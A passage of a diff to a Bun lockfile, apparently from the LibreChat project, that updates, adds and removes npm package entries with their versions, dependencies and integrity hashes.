+ "fast-xml-parser": ["fast-xml-parser@5.3.8", "", { "dependencies": { "strnum": "^2.1.2" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-53jIF4N6u/pxvaL1eb/hEZts/cFLWZ92eCfLrNyCI0k38lettCG/Bs40W9pPwoPXyHQlKu2OUbQtiEIZK/J6Vw=="],
"fastq": ["fastq@1.17.1", "", { "dependencies": { "reusify": "^1.0.4" } }, "sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w=="],
@@ -2849,7 +3079,7 @@
"forwarded": ["forwarded@0.2.0", "", {}, "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow=="],
- "fraction.js": ["fraction.js@4.3.7", "", {}, "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew=="],
+ "fraction.js": ["fraction.js@5.3.4", "", {}, "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ=="],
"framer-motion": ["framer-motion@12.23.9", "", { "dependencies": { "motion-dom": "^12.23.9", "motion-utils": "^12.23.6", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid"] }, "sha512-TqEHXj8LWfQSKqfdr5Y4mYltYLw96deu6/K9kGDd+ysqRJPNwF9nb5mZcrLmybHbU7gcJ+HQar41U3UTGanbbQ=="],
@@ -2867,7 +3097,7 @@
"functions-have-names": ["functions-have-names@1.2.3", "", {}, "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ=="],
- "gaxios": ["gaxios@5.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^5.0.0", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-95hVgBRgEIRQQQHIbnxBXeHbW4TqFk4ZDJW7wmVtvYar72FdhRIo1UGOLS2eRAKCPEdPBWu+M7+A33D9CdX9rA=="],
+ "gaxios": ["gaxios@6.2.0", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-H6+bHeoEAU5D6XNc6mPKeN5dLZqEDs9Gpk6I+SZBEzK5So58JVrHPmevNi35fRl1J9Y5TaeLW0kYx3pCJ1U2mQ=="],
"gcp-metadata": ["gcp-metadata@5.3.0", "", { "dependencies": { "gaxios": "^5.0.0", "json-bigint": "^1.0.0" } }, "sha512-FNTkdNEnBdlqF2oatizolQqNANMrcqJt6AAYt99B3y1aLLC8Hc5IOBb+ZnnzllodEEf6xMBp6wRcBbc16fa65w=="],
@@ -2897,12 +3127,10 @@
"get-tsconfig": ["get-tsconfig@4.10.0", "", { "dependencies": { "resolve-pkg-maps": "^1.0.0" } }, "sha512-kGzZ3LWWQcGIAmg6iWvXn0ei6WDtV26wzHRMwDSzmAbcXrTEXxHy6IehI6/4eT6VRKyMP1eF1VqwrVUmE/LR7A=="],
- "glob": ["glob@13.0.0", "", { "dependencies": { "minimatch": "^10.1.1", "minipass": "^7.1.2", "path-scurry": "^2.0.0" } }, "sha512-tvZgpqk6fz4BaNZ66ZsRaZnbHvP/jG3uKJvAZOwEVUL4RTA5nJeeLYfyN9/VA8NX/V3IBG+hkeuGpKjvELkVhA=="],
+ "glob": ["glob@13.0.6", "", { "dependencies": { "minimatch": "^10.2.2", "minipass": "^7.1.3", "path-scurry": "^2.0.2" } }, "sha512-Wjlyrolmm8uDpm/ogGyXZXb1Z+Ca2B8NbJwqBVg0axK9GbBeoS7yGV6vjXnYdGm6X53iehEuxxbyiKp8QmN4Vw=="],
"glob-parent": ["glob-parent@6.0.2", "", { "dependencies": { "is-glob": "^4.0.3" } }, "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A=="],
- "glob-to-regexp": ["glob-to-regexp@0.4.1", "", {}, "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw=="],
-
"globals": ["globals@15.14.0", "", {}, "sha512-OkToC372DtlQeje9/zHIo5CT8lRP/FUgEOKBEhU4e0abL7J7CD24fD9ohiLN5hagG/kWCYj4K5oaxxtj2Z0Dig=="],
"globalthis": ["globalthis@1.0.4", "", { "dependencies": { "define-properties": "^1.2.1", "gopd": "^1.0.1" } }, "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ=="],
@@ -2911,8 +3139,6 @@
"google-logging-utils": ["google-logging-utils@1.1.3", "", {}, "sha512-eAmLkjDjAFCVXg7A1unxHsLf961m6y17QFqXqAXGj/gVkKFrEICfStRfwUlGNfeCEjNRa32JEWOUTlYXPyyKvA=="],
- "googleapis-common": ["googleapis-common@7.0.1", "", { "dependencies": { "extend": "^3.0.2", "gaxios": "^6.0.3", "google-auth-library": "^9.0.0", "qs": "^6.7.0", "url-template": "^2.0.8", "uuid": "^9.0.0" } }, "sha512-mgt5zsd7zj5t5QXvDanjWguMdHAcJmmDrF9RkInCecNsyV7S7YtGqm5v2IWONNID88osb7zmx5FtrAP12JfD0w=="],
-
"gopd": ["gopd@1.2.0", "", {}, "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg=="],
"graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="],
@@ -2921,10 +3147,14 @@
"gtoken": ["gtoken@7.1.0", "", { "dependencies": { "gaxios": "^6.0.0", "jws": "^4.0.0" } }, "sha512-pCcEwRi+TKpMlxAQObHDQ56KawURgyAf6jtIY046fJ5tIv3zDe/LEIubckAO8fj6JnAxLdmWkUfNyulQ2iKdEw=="],
+ "hachure-fill": ["hachure-fill@0.5.2", "", {}, "sha512-3GKBOn+m2LX9iq+JC1064cSFprJY4jL1jCXTcpnfER5HYE2l/4EfWSGzkPa/ZDBmYI0ZOEj5VHV/eKnPGkHuOg=="],
+
"hamt_plus": ["hamt_plus@1.0.2", "", {}, "sha512-t2JXKaehnMb9paaYA7J0BX8QQAY8lwfQ9Gjf4pg/mk4krt+cmwmU652HOoWonf+7+EQV97ARPMhhVgU1ra2GhA=="],
"handlebars": ["handlebars@4.7.8", "", { "dependencies": { "minimist": "^1.2.5", "neo-async": "^2.6.2", "source-map": "^0.6.1", "wordwrap": "^1.0.0" }, "optionalDependencies": { "uglify-js": "^3.1.4" }, "bin": "bin/handlebars" }, "sha512-vafaFqs8MZkRrSX7sFVUdo3ap/eNiLnb4IakshzvP56X5Nr1iGKAIqdX6tMlm6HcNRIkr6AxO5jFEoJzzpT8aQ=="],
+ "happy-dom": ["happy-dom@20.8.3", "", { "dependencies": { "@types/node": ">=20.0.0", "@types/whatwg-mimetype": "^3.0.2", "@types/ws": "^8.18.1", "entities": "^7.0.1", "whatwg-mimetype": "^3.0.0", "ws": "^8.18.3" } }, "sha512-lMHQRRwIPyJ70HV0kkFT7jH/gXzSI7yDkQFe07E2flwmNDFoWUTRMKpW2sglsnpeA7b6S2TJPp98EbQxai8eaQ=="],
+
"harmony-reflect": ["harmony-reflect@1.6.2", "", {}, "sha512-HIp/n38R9kQjDEziXyDTuW3vvoxxyxjxFzXLrBr18uB47GnSt+G9D29fqrpM5ZkspMcPICud3XsBJQ4Y2URg8g=="],
"has-bigints": ["has-bigints@1.0.2", "", {}, "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ=="],
@@ -2973,7 +3203,7 @@
"hoist-non-react-statics": ["hoist-non-react-statics@3.3.2", "", { "dependencies": { "react-is": "^16.7.0" } }, "sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw=="],
- "hono": ["hono@4.11.1", "", {}, "sha512-KsFcH0xxHes0J4zaQgWbYwmz3UPOOskdqZmItstUG93+Wk1ePBLkLGwbP9zlmh1BFUiL8Qp+Xfu9P7feJWpGNg=="],
+ "hono": ["hono@4.12.5", "", {}, "sha512-3qq+FUBtlTHhtYxbxheZgY8NIFnkkC/MR8u5TTsr7YZ3wixryQ3cCwn3iZbg8p8B88iDBBAYSfZDS75t8MN7Vg=="],
"hookified": ["hookified@1.12.1", "", {}, "sha512-xnKGl+iMIlhrZmGHB729MqlmPoWBznctSQTYCpFKqNsCgimJQmithcW0xSQMMFzYnV2iKUh25alswn6epgxS0Q=="],
@@ -3025,6 +3255,8 @@
"ignore-by-default": ["ignore-by-default@1.0.1", "", {}, "sha512-Ius2VYcGNk7T90CppJqcIkS5ooHUZyIQK+ClZfMfMNFEF9VSE73Fq+906u/CWu92x4gzZMWOwfFYckPObzdEbA=="],
+ "immediate": ["immediate@3.0.6", "", {}, "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ=="],
+
"import-cwd": ["import-cwd@3.0.0", "", { "dependencies": { "import-from": "^3.0.0" } }, "sha512-4pnzH16plW+hgvRECbDWpQl3cqtvSofHWh44met7ESfZ8UZOWWddm8hEyDTqREJ9RbYHY8gi8DqmaelApoOGMg=="],
"import-fresh": ["import-fresh@3.3.0", "", { "dependencies": { "parent-module": "^1.0.0", "resolve-from": "^4.0.0" } }, "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw=="],
@@ -3049,11 +3281,13 @@
"internal-slot": ["internal-slot@1.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "hasown": "^2.0.2", "side-channel": "^1.1.0" } }, "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw=="],
+ "internmap": ["internmap@2.0.3", "", {}, "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg=="],
+
"intersection-observer": ["intersection-observer@0.10.0", "", {}, "sha512-fn4bQ0Xq8FTej09YC/jqKZwtijpvARlRp6wxL5WTA6yPe2YWSJ5RJh7Nm79rK2qB0wr6iDQzH60XGq5V/7u8YQ=="],
"ioredis": ["ioredis@5.3.2", "", { "dependencies": { "@ioredis/commands": "^1.1.1", "cluster-key-slot": "^1.1.0", "debug": "^4.3.4", "denque": "^2.1.0", "lodash.defaults": "^4.2.0", "lodash.isarguments": "^3.1.0", "redis-errors": "^1.2.0", "redis-parser": "^3.0.0", "standard-as-callback": "^2.1.0" } }, "sha512-1DKMMzlIHM02eBBVOFQ1+AolGjs6+xEcM4PDL7NqOS6szq7H9jSaEkIUH6/a5Hl241LzW6JLSiAbNvTQjUupUA=="],
- "ip-address": ["ip-address@10.0.1", "", {}, "sha512-NWv9YLW4PoW2B7xtzaS3NCot75m6nK7Icdv0o3lfMceJVRfSoQwqD4wEH5rLwoKJwUiZ/rfpiVBhnaF0FK4HoA=="],
+ "ip-address": ["ip-address@10.1.0", "", {}, "sha512-XXADHxXmvT9+CRxhXg56LJovE+bmWnEWB78LB83VZTprKTmaC5QfruXocxzTZ2Kl0DNwKuBdlIhjL8LeY8Sf8Q=="],
"ipaddr.js": ["ipaddr.js@1.9.1", "", {}, "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g=="],
@@ -3215,7 +3449,7 @@
"jest-message-util": ["jest-message-util@30.2.0", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@jest/types": "30.2.0", "@types/stack-utils": "^2.0.3", "chalk": "^4.1.2", "graceful-fs": "^4.2.11", "micromatch": "^4.0.8", "pretty-format": "30.2.0", "slash": "^3.0.0", "stack-utils": "^2.0.6" } }, "sha512-y4DKFLZ2y6DxTWD4cDe07RglV88ZiNEdlRfGtqahfbIjfsw1nMCPx49Uev4IA/hWn3sDKyAnSPwoYSsAEdcimw=="],
- "jest-mock": ["jest-mock@29.7.0", "", { "dependencies": { "@jest/types": "^29.6.3", "@types/node": "*", "jest-util": "^29.7.0" } }, "sha512-ITOMZn+UkYS4ZFh83xYAOzWStloNzJFO2s8DWrE4lhtGD+AorgnbkiKERe4wQVBydIGPx059g6riW5Btp6Llnw=="],
+ "jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
"jest-pnp-resolver": ["jest-pnp-resolver@1.2.3", "", { "peerDependencies": { "jest-resolve": "*" } }, "sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w=="],
@@ -3231,7 +3465,7 @@
"jest-snapshot": ["jest-snapshot@30.2.0", "", { "dependencies": { "@babel/core": "^7.27.4", "@babel/generator": "^7.27.5", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1", "@babel/types": "^7.27.3", "@jest/expect-utils": "30.2.0", "@jest/get-type": "30.1.0", "@jest/snapshot-utils": "30.2.0", "@jest/transform": "30.2.0", "@jest/types": "30.2.0", "babel-preset-current-node-syntax": "^1.2.0", "chalk": "^4.1.2", "expect": "30.2.0", "graceful-fs": "^4.2.11", "jest-diff": "30.2.0", "jest-matcher-utils": "30.2.0", "jest-message-util": "30.2.0", "jest-util": "30.2.0", "pretty-format": "30.2.0", "semver": "^7.7.2", "synckit": "^0.11.8" } }, "sha512-5WEtTy2jXPFypadKNpbNkZ72puZCa6UjSr/7djeecHWOu7iYhSXSnHScT8wBz3Rn8Ena5d5RYRcsyKIeqG1IyA=="],
- "jest-util": ["jest-util@29.7.0", "", { "dependencies": { "@jest/types": "^29.6.3", "@types/node": "*", "chalk": "^4.0.0", "ci-info": "^3.2.0", "graceful-fs": "^4.2.9", "picomatch": "^2.2.3" } }, "sha512-z6EbKajIpqGKU56y5KBUgy1dt1ihhQJgWzUlZHArA/+X2ad7Cb5iF+AK1EWVL/Bo7Rz9uurpqw6SiBCefUbCGA=="],
+ "jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
"jest-validate": ["jest-validate@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0", "@jest/types": "30.2.0", "camelcase": "^6.3.0", "chalk": "^4.1.2", "leven": "^3.1.0", "pretty-format": "30.2.0" } }, "sha512-FBGWi7dP2hpdi8nBoWxSsLvBFewKAg0+uSQwBaof4Y4DPgBabXgpSYC5/lR7VmnIlSpASmCi/ntRWPbv7089Pw=="],
@@ -3283,6 +3517,8 @@
"jsx-ast-utils": ["jsx-ast-utils@3.3.5", "", { "dependencies": { "array-includes": "^3.1.6", "array.prototype.flat": "^1.3.1", "object.assign": "^4.1.4", "object.values": "^1.1.6" } }, "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ=="],
+ "jszip": ["jszip@3.10.1", "", { "dependencies": { "lie": "~3.3.0", "pako": "~1.0.2", "readable-stream": "~2.3.6", "setimmediate": "^1.0.5" } }, "sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g=="],
+
"jwa": ["jwa@2.0.0", "", { "dependencies": { "buffer-equal-constant-time": "1.0.1", "ecdsa-sig-formatter": "1.0.11", "safe-buffer": "^5.0.1" } }, "sha512-jrZ2Qx916EA+fq9cEAeCROWPTfCwi1IVHqT2tapuqLEVVDKFDENFw1oL+MwrTvH6msKxsd1YTDVw6uKEcsrLEA=="],
"jwks-rsa": ["jwks-rsa@3.2.0", "", { "dependencies": { "@types/express": "^4.17.20", "@types/jsonwebtoken": "^9.0.4", "debug": "^4.3.4", "jose": "^4.15.4", "limiter": "^1.1.5", "lru-memoizer": "^2.2.0" } }, "sha512-PwchfHcQK/5PSydeKCs1ylNym0w/SSv8a62DgHJ//7x2ZclCoinlsjAfDxAAbpoTPybOum/Jgy+vkvMmKz89Ww=="],
@@ -3297,16 +3533,22 @@
"keyv-file": ["keyv-file@5.2.0", "", { "dependencies": { "@keyv/serialize": "^1.0.1", "tslib": "^1.14.1" } }, "sha512-5JEBqQiDzjGCQHtf7KLReJdHKchaJyUZW+9TvBu+4dc+uuTqUG9KcdA3ICMXlwky3qjKc0ecNCNefbgjyDtlAg=="],
+ "khroma": ["khroma@2.1.0", "", {}, "sha512-Ls993zuzfayK269Svk9hzpeGUKob/sIgZzyHYdjQoAdQetRKpOLj+k/QQQ/6Qi0Yz65mlROrfd+Ev+1+7dz9Kw=="],
+
"klona": ["klona@2.0.6", "", {}, "sha512-dhG34DXATL5hSxJbIexCft8FChFXtmskoZYnoPWjXQuebWYCNkVeV3KkGegCK9CP1oswI/vQibS2GY7Em/sJJA=="],
"kuler": ["kuler@2.0.0", "", {}, "sha512-Xq9nH7KlWZmXAtodXDDRE7vs6DU1gTU8zYDHDiWLSip45Egwq3plLHzPn27NgvzL2r1LMPC1vdqh98sQxtqj4A=="],
- "langsmith": ["langsmith@0.3.67", "", { "dependencies": { "@types/uuid": "^10.0.0", "chalk": "^4.1.2", "console-table-printer": "^2.12.1", "p-queue": "^6.6.2", "p-retry": "4", "semver": "^7.6.3", "uuid": "^10.0.0" }, "peerDependencies": { "@opentelemetry/api": "*", "@opentelemetry/exporter-trace-otlp-proto": "*", "@opentelemetry/sdk-trace-base": "*", "openai": "*" } }, "sha512-l4y3RmJ9yWF5a29fLg3eWZQxn6Q6dxTOgLGgQHzPGZHF3NUynn+A+airYIe/Yt4rwjGbuVrABAPsXBkVu/Hi7g=="],
+ "langium": ["langium@4.2.1", "", { "dependencies": { "chevrotain": "~11.1.1", "chevrotain-allstar": "~0.3.1", "vscode-languageserver": "~9.0.1", "vscode-languageserver-textdocument": "~1.0.11", "vscode-uri": "~3.1.0" } }, "sha512-zu9QWmjpzJcomzdJQAHgDVhLGq5bLosVak1KVa40NzQHXfqr4eAHupvnPOVXEoLkg6Ocefvf/93d//SB7du4YQ=="],
+
+ "langsmith": ["langsmith@0.4.12", "", { "dependencies": { "@types/uuid": "^10.0.0", "chalk": "^4.1.2", "console-table-printer": "^2.12.1", "p-queue": "^6.6.2", "semver": "^7.6.3", "uuid": "^10.0.0" }, "peerDependencies": { "@opentelemetry/api": "*", "@opentelemetry/exporter-trace-otlp-proto": "*", "@opentelemetry/sdk-trace-base": "*", "openai": "*" }, "optionalPeers": ["@opentelemetry/api", "@opentelemetry/exporter-trace-otlp-proto", "@opentelemetry/sdk-trace-base", "openai"] }, "sha512-YWt0jcGvKqjUgIvd78rd4QcdMss0lUkeUaqp0UpVRq7H2yNDx8H5jOUO/laWUmaPtWGgcip0qturykXe1g9Gqw=="],
"language-subtag-registry": ["language-subtag-registry@0.3.23", "", {}, "sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ=="],
"language-tags": ["language-tags@1.0.9", "", { "dependencies": { "language-subtag-registry": "^0.3.20" } }, "sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA=="],
+ "layout-base": ["layout-base@1.0.2", "", {}, "sha512-8h2oVEZNktL4BH2JCOI90iD1yXwL6iNW7KcCKT2QZgQJR2vbqDsldCTPRU9NifTCqHZci57XvQQ15YTu+sTYPg=="],
+
"ldap-filter": ["ldap-filter@0.3.3", "", { "dependencies": { "assert-plus": "^1.0.0" } }, "sha512-/tFkx5WIn4HuO+6w9lsfxq4FN3O+fDZeO9Mek8dCD8rTUpqzRa766BOBO7BcGkn3X86m5+cBm1/2S/Shzz7gMg=="],
"ldapauth-fork": ["ldapauth-fork@5.0.5", "", { "dependencies": { "@types/ldapjs": "^2.2.2", "bcryptjs": "^2.4.0", "ldapjs": "^2.2.1", "lru-cache": "^7.10.1" } }, "sha512-LWUk76+V4AOZbny/3HIPQtGPWZyA3SW2tRhsWIBi9imP22WJktKLHV1ofd8Jo/wY7Ve6vAT7FCI5mEn3blZTjw=="],
@@ -3319,6 +3561,8 @@
"librechat-data-provider": ["librechat-data-provider@workspace:packages/data-provider"],
+ "lie": ["lie@3.3.0", "", { "dependencies": { "immediate": "~3.0.5" } }, "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ=="],
+
"lilconfig": ["lilconfig@3.1.3", "", {}, "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw=="],
"limiter": ["limiter@1.1.5", "", {}, "sha512-FWWMIEOxz3GwUI4Ts/IvgVy6LPvoMPgjMdQ185nN6psJyBJ4yOpzqm695/h5umdLJg2vW3GR5iG11MAkR2AzJA=="],
@@ -3329,13 +3573,13 @@
"listr2": ["listr2@8.2.5", "", { "dependencies": { "cli-truncate": "^4.0.0", "colorette": "^2.0.20", "eventemitter3": "^5.0.1", "log-update": "^6.1.0", "rfdc": "^1.4.1", "wrap-ansi": "^9.0.0" } }, "sha512-iyAZCeyD+c1gPyE9qpFu8af0Y+MRtmKOncdGoA2S5EY8iFq99dmmvkNnHiWo+pj0s7yH7l3KPIgee77tKpXPWQ=="],
- "loader-runner": ["loader-runner@4.3.0", "", {}, "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg=="],
-
"loader-utils": ["loader-utils@3.3.1", "", {}, "sha512-FMJTLMXfCLMLfJxcX9PFqX5qD88Z5MRGaZCVzfuqeZSPsyiBzs+pahDQjbIWz2QIzPZz0NX9Zy4FX3lmK6YHIg=="],
"locate-path": ["locate-path@6.0.0", "", { "dependencies": { "p-locate": "^5.0.0" } }, "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw=="],
- "lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="],
+ "lodash": ["lodash@4.17.23", "", {}, "sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w=="],
+
+ "lodash-es": ["lodash-es@4.17.23", "", {}, "sha512-kVI48u3PZr38HdYz98UmfPnXl2DXrpdctLrFLCd3kOx1xUkOmpFPx7gCWWM5MPkL/fD8zb+Ph0QzjGFs4+hHWg=="],
"lodash.camelcase": ["lodash.camelcase@4.3.0", "", {}, "sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA=="],
@@ -3367,8 +3611,6 @@
"lodash.sortby": ["lodash.sortby@4.7.0", "", {}, "sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA=="],
- "lodash.throttle": ["lodash.throttle@4.1.1", "", {}, "sha512-wIkUCfVKpVsWo3JSZlc+8MB5it+2AN5W8J7YVMST30UrvcQNZ1Okbj+rbVniijTWE6FGYy4XJq/rHkas8qJMLQ=="],
-
"lodash.uniq": ["lodash.uniq@4.5.0", "", {}, "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ=="],
"log-update": ["log-update@6.1.0", "", { "dependencies": { "ansi-escapes": "^7.0.0", "cli-cursor": "^5.0.0", "slice-ansi": "^7.1.0", "strip-ansi": "^7.1.0", "wrap-ansi": "^9.0.0" } }, "sha512-9ie8ItPR6tjY5uYJh8K/Zrv/RMZ5VOlOWvtZdEHYSTFKZfIBPQa9tOAEeAWhd+AnIneLJ22w5fjOYtoutpWq5w=="],
@@ -3381,6 +3623,8 @@
"loose-envify": ["loose-envify@1.4.0", "", { "dependencies": { "js-tokens": "^3.0.0 || ^4.0.0" }, "bin": "cli.js" }, "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q=="],
+ "lop": ["lop@0.4.2", "", { "dependencies": { "duck": "^0.1.12", "option": "~0.2.1", "underscore": "^1.13.1" } }, "sha512-RefILVDQ4DKoRZsJ4Pj22TxE3omDO47yFpkIBoDKzkqPRISs5U1cnAdg/5583YPkWPaLIYHOKRMQSvjFsO26cw=="],
+
"lowlight": ["lowlight@2.9.0", "", { "dependencies": { "@types/hast": "^2.0.0", "fault": "^2.0.0", "highlight.js": "~11.8.0" } }, "sha512-OpcaUTCLmHuVuBcyNckKfH5B0oA4JUavb/M/8n9iAvanJYNQkrVm4pvyX0SUaqkBG4dnWHKt7p50B3ngAG2Rfw=="],
"lru-cache": ["lru-cache@4.1.5", "", { "dependencies": { "pseudomap": "^1.0.2", "yallist": "^2.1.2" } }, "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g=="],
@@ -3399,8 +3643,12 @@
"makeerror": ["makeerror@1.0.12", "", { "dependencies": { "tmpl": "1.0.5" } }, "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg=="],
+ "mammoth": ["mammoth@1.11.0", "", { "dependencies": { "@xmldom/xmldom": "^0.8.6", "argparse": "~1.0.3", "base64-js": "^1.5.1", "bluebird": "~3.4.0", "dingbat-to-unicode": "^1.0.1", "jszip": "^3.7.1", "lop": "^0.4.2", "path-is-absolute": "^1.0.0", "underscore": "^1.13.1", "xmlbuilder": "^10.0.0" }, "bin": { "mammoth": "bin/mammoth" } }, "sha512-BcEqqY/BOwIcI1iR5tqyVlqc3KIaMRa4egSoK83YAVrBf6+yqdAAbtUcFDCWX8Zef8/fgNZ6rl4VUv+vVX8ddQ=="],
+
"markdown-table": ["markdown-table@3.0.4", "", {}, "sha512-wiYz4+JrLyb/DqW2hkFJxP7Vd7JuTDm77fvbM8VfEQdmSMqcImWeeRbHwZjBjIFki/VaMK2BhFi7oUUZeM5bqw=="],
+ "marked": ["marked@14.0.0", "", { "bin": { "marked": "bin/marked.js" } }, "sha512-uIj4+faQ+MgHgwUW1l2PsPglZLOLOT1uErt06dAPtx2kjteLAkbsd/0FiYg/MGS+i7ZKLb7w2WClxHkzOOuryQ=="],
+
"match-sorter": ["match-sorter@8.1.0", "", { "dependencies": { "@babel/runtime": "^7.23.8", "remove-accents": "0.5.0" } }, "sha512-0HX3BHPixkbECX+Vt7nS1vJ6P2twPgGTU3PMXjWrl1eyVCL24tFHeyYN1FN5RKLzve0TyzNI9qntqQGbebnfPQ=="],
"math-intrinsics": ["math-intrinsics@1.1.0", "", {}, "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g=="],
@@ -3459,6 +3707,8 @@
"merge2": ["merge2@1.4.1", "", {}, "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg=="],
